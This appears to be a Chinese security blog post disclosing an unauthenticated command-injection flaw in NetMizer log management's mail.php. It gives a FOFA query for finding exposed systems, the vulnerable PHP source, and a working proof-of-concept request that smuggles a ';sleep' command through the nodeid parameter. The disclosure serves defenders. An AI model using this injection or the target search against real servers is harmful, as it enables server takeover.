NetMizer日志管理系统 mail.php 命令执行漏洞


漏洞简介

NetMizer日志管理系统是一款专为网络流量管理和优化设计的日志记录与分析工具,能够高效采集、存储和分析网络设备及应用的日志数据。然而,该系统中的 /data/search/mail.php 文件存在命令执行漏洞。未经身份验证的攻击者可以通过该漏洞在服务器端任意执行命令,写入后门程序,获取服务器权限,进而控制整个Web服务器。

影响版本

老旧版本

fofa语法

body="日志管理系统" && body="NetMizer"

漏洞分析

看下 mail.php 业务实现关键逻辑部分

<?php
        include('../include/JSON.php');

        $cmd = "/var/www/cgi-bin/search_mail";

        list($year,$month,$day,$hour,$min,$second)=split(":| |-", $starttime);
        $start_time = mktime($hour, $min, $second, $month,$day,$year);
        $cmd .= " -s $start_time";
        list($year,$month,$day,$hour,$min,$second)=split(":| |-", $stoptime);
        $stop_time  = mktime($hour, $min, $second, $month,$day,$year);
        $cmd .= " -e $stop_time";

        if($nodeid != ""){
                $sql_nodeid = " and nodeid = ".ip2long($nodeid)." ";
                $cmd .= " -n $nodeid";
        } else        $sql_nodeid = "";

        $srcip = $src;
        if($srcip == ""){
                $srcid = "-1";
        } else $srcid = ip2long($srcip); 
        if($srcid != "-1"){
                $sql_srcid = " and src_addr = $srcid ";
                $cmd .= " -S $srcid";
        } else {
                $sql_srcid = "";
        }

        $user = $username;
        if($user != ""){
                $sql_user = " and user_name = \"$user\" ";
                $cmd .= " -u $user";
        } else {
                $sql_user = "";
        }

        if($send_user != ""){
                $sql_mail = " and send_user = \"$send_user\" ";
                $cmd .= " -q $send_user";
        } else {
                $sql_mail = "";
        }

        if($action == 'file'){
                //echo $cmd."\n";
                $fp = @popen($cmd,"r");
                if(!$fp){
                        echo '{"success":true,"info":"no data"}';
                        return;
                }

                if($csv){
                        Header("Content-type: application/octet-stream; filename=\"QQ$qq查询统计.csv\"");
                        Header("Content-Disposition: attachment; filename=\"QQ$qq查询统计.csv\"");
                        echo "序号,用户名称,设备节点,登录时间,登录QQ号,登录地址,登录端口,目标地址,目标端口\n";
                        $i = 0;
                        while($line = fgets($fp)){
                                $line = str_replace(PHP_EOL,'',$line);
                                $items = explode(",",$line);
                                echo ($i + 1).",".
                                        $items[1].",".
                                        $items[0].",".
                                        $items[12].",".
                                        $items[6].",".
                                        $items[2].",".
                                        $items[4].",".
                                        $items[3].",".
                                        $items[5]."\n";
                                $i ++;
                        }
                        mysql_close($conn_id);
                        return;
                }

                $i = 0;
                $ra = array();
                while($line = fgets($fp)){
                        if($i >= $start && $i < $start+$limit){
                                $line = str_replace(PHP_EOL,'',$line);
                                $items = explode(",",$line);
                                $ra[] = array(
                                        "top"=>$i + 1,
                                        "user_name"=>$items[1],
                                        "create_time"=>$items[12],
                                        "from_num"=>$items[6],
                                        "src_addr"=>$items[2],
                                        "src_port"=>$items[4],
                                        "dst_addr"=>$items[3],
                                        "dst_port"=>$items[5],
                                        "nodeid"=>$items[0]
                                );
                        }
                        $i ++;
                }
                pclose($fp);
                $str = array("success"=>'success', "total"=>$i, "datas"=>$ra);
                $json = json_encode($str);
                echo $json;
                return;
        }

        $conn_id = mysql_connect($dsn,$dbuser,$dbpasswd);
        mysql_select_db("sysmonitor");
        $sqlstr = "select * from tbl_mail_log where create_time>=$start_time and create_time<$stop_time $sql_nodeid $sql_user $sql_srcid $sql_mail order by create_time desc";
        $res=mysql_query($sqlstr);

        if($csv){
                Header("Content-type: application/octet-stream; filename=\"邮件$send_user查询统计.csv\"");
                Header("Content-Disposition: attachment; filename=\"邮件$send_user查询统计.csv\"");
                echo "序号,用户名称,设备节点,登录时间,发件人,主题,协议,来源地址,来源端口,目标地址,目标端口\n";
                $i = 0;
                while($row = mysql_fetch_array($res,MYSQL_BOTH)){
                        $subject = $row["subject"];
                        $subject = str_replace(',','%2C',$subject);
                        $subject = mb_check_encoding($subject, 'UTF-8') ? mb_convert_encoding($subject, 'gbk', 'UTF-8') : $subject;
                        $type = $row['mail_type'];
                        if($type == 1) $type = 'SMTP';
                        else if($type == 2) $type = 'POP3';
                        else if($type == 3) $type = 'IMAP';
                        echo ($i + 1).",".
                                $row["user_name"].",".
                                long2ip($row["nodeid"]).",".
                                date("y-m-d H:i:s", $row["create_time"]).",".
                                $row["send_user"].",".
                                $subject.",".
                                $type.",".
                                long2ip($row["src_addr"]).",".
                                $row["src_port"].",".
                                long2ip($row["dst_addr"]).",".
                                $row["dst_port"]."\n";
                        $i ++;
                }
                mysql_close($conn_id);
                return;
        }

        $i = 0;
        $ra = array();
        while($row = mysql_fetch_array($res,MYSQL_BOTH)){
                if($i >= $start && $i < $start+$limit)
                        $subject = $row["subject"];
                        $subject = mb_check_encoding($subject, 'UTF-8') ? $subject : mb_convert_encoding($subject, 'UTF-8', 'gbk');
                        $ra[] = array(
                                "top"=>$i + 1,
                                "user_name"=>$row["user_name"],
                                "create_time"=>date("y-m-d H:i:s", $row["create_time"]),
                                "send_user"=>$row["send_user"],
                                "subject"=>$subject,
                                "mail_type"=>$row["mail_type"],
                                "src_addr"=>long2ip($row["src_addr"]),
                                "src_port"=>$row["src_port"],
                                "dst_addr"=>long2ip($row["dst_addr"]),
                                "dst_port"=>$row["dst_port"],
                                "nodeid"=>long2ip($row["nodeid"])
                        );
                $i ++;
        }
        mysql_close($conn_id);
        $str = array("success"=>'success', "total"=>$i, "datas"=>$ra);
        $json = json_encode($str);
        echo $json;
?>

在构建外部命令 $cmd 时,直接将用户可控参数(如 $nodeid、$srcid、$user 和 $send_user)拼接进命令字符串中,并通过 popen($cmd, "r") 执行。该过程未对用户输入进行任何过滤或转义,导致攻击者可以通过这些参数注入额外的命令,造成命令注入漏洞。

漏洞复现

漏洞利用示例

GET /data/search/mail.php?action=file&nodeid=1;sleep+3 HTTP/1.1
Host: netmizer.mrxn.net

成功执行 延时 3 秒


手机扫码阅读

NetMizer日志管理系统 qq.php 命令执行漏洞

NetMizer日志管理系统 dologin.php SQL注入漏洞

评 论